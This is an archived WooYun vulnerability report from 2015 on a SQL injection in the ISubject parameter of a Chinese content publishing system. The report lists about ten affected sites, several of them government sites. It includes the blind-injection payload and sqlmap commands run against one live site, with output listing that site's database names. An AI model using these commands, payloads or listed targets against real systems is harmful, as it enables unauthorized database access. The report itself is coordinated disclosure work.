当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0103015

漏洞标题:孚立采编发系统搜索型SQL注入漏洞(MSSQL数据库,涉及政府、企业和研究所等)

相关厂商:杭州孚立计算机软件有限公司

漏洞作者: goubuli

提交时间:2015-03-24 12:46

修复时间:2015-06-25 16:26

公开时间:2015-06-25 16:26

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:18

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-24: 细节已通知厂商并且等待厂商处理中
2015-03-27: 厂商已经确认,细节仅向厂商公开
2015-03-30: 细节向第三方安全合作伙伴开放
2015-05-21: 细节向核心白帽子及相关领域专家公开
2015-05-31: 细节向普通白帽子公开
2015-06-10: 细节向实习白帽子公开
2015-06-25: 细节向公众公开

简要描述:

RT

详细说明:

《孚立采编发系统》 整合了信息内容自动采集,编辑与管理、信息共享、平台集成的管理思想。系统拥有高速的执行效率,满足更快的访问和编辑要求。它的推出可以帮助各类型组织快速构建与其业务紧密相连的门户网站,方便组织的信息采集与发布,实现内外部信息的实时传送与反馈,帮助客户极大地提高效率,扩展竞争空间。
孚立采编发使命:让工作轻松,让操作高效,让用户快乐。
大部分是政府站点。
公司主站:http://www.free-softs.com:8080/

0322_21.png


文件indexinfo.jsp中ISubject存在注入
有很多案例,列举一部分
http://www.hz-zj.com/infoview/indexinfo.jsp?ISubject=
http://101.68.66.218/infoview/indexinfo.jsp?ISubject=
http://218.108.56.70/indexinfo.jsp?ISubject=
http://42.121.195.98/infoview/indexinfo.jsp?ISubject=
http://www.fzttj.com/infoview/indexinfo.jsp?ISubject=
http://www.jgwt.gov.cn/indexinfo.jsp?ISubject=
http://www.szdlr.gov.cn/infoview/indexinfo.jsp?ISubject=
http://218.108.56.70/indexinfo.jsp?ISubject=
http://kh.nj110.net:8089/infoview/indexinfo.jsp?ISubject=
...
演示其中一个站点:
URL:http://www.fzttj.com/infoview/indexinfo.jsp?ISubject=

0322_22.png


跑数据库:

0322_23.png


available databases [6]:
[*] master
[*] model
[*] msdb
[*] tempdb
[*] zjsqjj
[*] zjttj


表和数据不跑了。。。
其他信息

0322_24.png


声明:仅仅是测试,无任何破坏。

漏洞证明:

sqlmap.py -u "http://www.fzttj.com/infoview/indexinfo.jsp?ISu
bject=2015"
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 13:43:47
[13:43:47] [INFO] testing connection to the target url
[13:43:48] [INFO] testing if the url is stable, wait a few seconds
[13:43:49] [INFO] url is stable
[13:43:49] [INFO] testing if GET parameter 'ISubject' is dynamic
[13:43:49] [INFO] confirming that GET parameter 'ISubject' is dynamic
[13:43:49] [INFO] GET parameter 'ISubject' is dynamic
[13:43:49] [WARNING] reflective value(s) found and filtering out
[13:43:50] [WARNING] heuristic test shows that GET parameter 'ISubject' might no
t be injectable
[13:43:50] [INFO] testing for SQL injection on GET parameter 'ISubject'
[13:43:50] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[13:43:52] [INFO] GET parameter 'ISubject' is 'AND boolean-based blind - WHERE o
r HAVING clause' injectable
[13:43:52] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[13:43:52] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[13:43:52] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[13:43:52] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[13:43:52] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[13:43:52] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[13:43:53] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[13:43:53] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[13:43:53] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[13:43:53] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[13:43:53] [INFO] testing 'Oracle AND time-based blind'
[13:43:53] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[13:43:53] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other potential injection technique found
[13:43:56] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[13:43:56] [WARNING] using unescaped version of the test because of zero knowled
ge of the back-end DBMS. You can try to explicitly set it using option '--dbms'
[13:43:59] [INFO] checking if the injection point on GET parameter 'ISubject' is
a false positive
GET parameter 'ISubject' is vulnerable. Do you want to keep testing the others (
if any)? [y/N] n
sqlmap identified the following injection points with a total of 69 HTTP(s) requ
ests:
---
Place: GET
Parameter: ISubject
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: ISubject=2015%' AND 8947=8947 AND '%'='
---
[13:44:16] [INFO] testing MySQL
[13:44:16] [WARNING] the back-end DBMS is not MySQL
[13:44:16] [INFO] testing Oracle
[13:44:16] [WARNING] the back-end DBMS is not Oracle
[13:44:16] [INFO] testing PostgreSQL
[13:44:16] [WARNING] the back-end DBMS is not PostgreSQL
[13:44:16] [INFO] testing Microsoft SQL Server
[13:44:17] [INFO] confirming Microsoft SQL Server
[13:44:17] [INFO] the back-end DBMS is Microsoft SQL Server
web application technology: JSP
back-end DBMS: Microsoft SQL Server 2005
[13:44:17] [INFO] fetched data logged to text files under 'C:\Python27\sqlmap\ou
tput\www.fzttj.com'
[*] shutting down at 13:44:17


sqlmap.py -u "http://www.fzttj.com/infoview/indexinfo.jsp?ISu
bject=2015" --dbms="Microsoft SQL Server 2005" --dbs --thread 10
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 13:44:54
[13:44:55] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: ISubject
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: ISubject=2015%' AND 8947=8947 AND '%'='
---
[13:44:55] [INFO] the back-end DBMS is Microsoft SQL Server
web application technology: JSP
back-end DBMS: Microsoft SQL Server 2005
[13:44:55] [INFO] fetching database names
[13:44:55] [INFO] fetching number of databases
[13:44:55] [INFO] retrieving the length of query output
[13:44:55] [INFO] retrieved:
[13:44:56] [WARNING] reflective value(s) found and filtering out
1
[13:44:57] [INFO] retrieved: 6
[13:44:59] [INFO] retrieving the length of query output
[13:44:59] [INFO] retrieved: 6
[13:45:03] [INFO] retrieved: master
[13:45:03] [INFO] retrieving the length of query output
[13:45:03] [INFO] retrieved: 5
[13:45:08] [INFO] retrieved: model
[13:45:08] [INFO] retrieving the length of query output
[13:45:08] [INFO] retrieved: 4
[13:45:21] [INFO] retrieved: msdb
[13:45:21] [INFO] retrieving the length of query output
[13:45:21] [INFO] retrieved: 6
[13:45:26] [INFO] retrieved: tempdb
[13:45:26] [INFO] retrieving the length of query output
[13:45:26] [INFO] retrieved: 6
[13:45:40] [INFO] retrieved: zjsqjj
[13:45:40] [INFO] retrieving the length of query output
[13:45:40] [INFO] retrieved: 5
[13:45:45] [INFO] retrieved: zjttj
available databases [6]:
[*] master
[*] model
[*] msdb
[*] tempdb
[*] zjsqjj
[*] zjttj
[13:45:45] [INFO] fetched data logged to text files under 'C:\Python27\sqlmap\ou
tput\www.fzttj.com'
[*] shutting down at 13:45:45

修复方案:

1、过滤
2、打补丁升级系统
3、加入WAF

版权声明:转载请注明来源 goubuli@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:14

确认时间:2015-03-27 16:25

厂商回复:

CNVD确认并复现所述漏洞情况,已经转由CNCERT下发给浙江分中心,由浙江分中心后续协调网站管理单位处置

最新状态:

暂无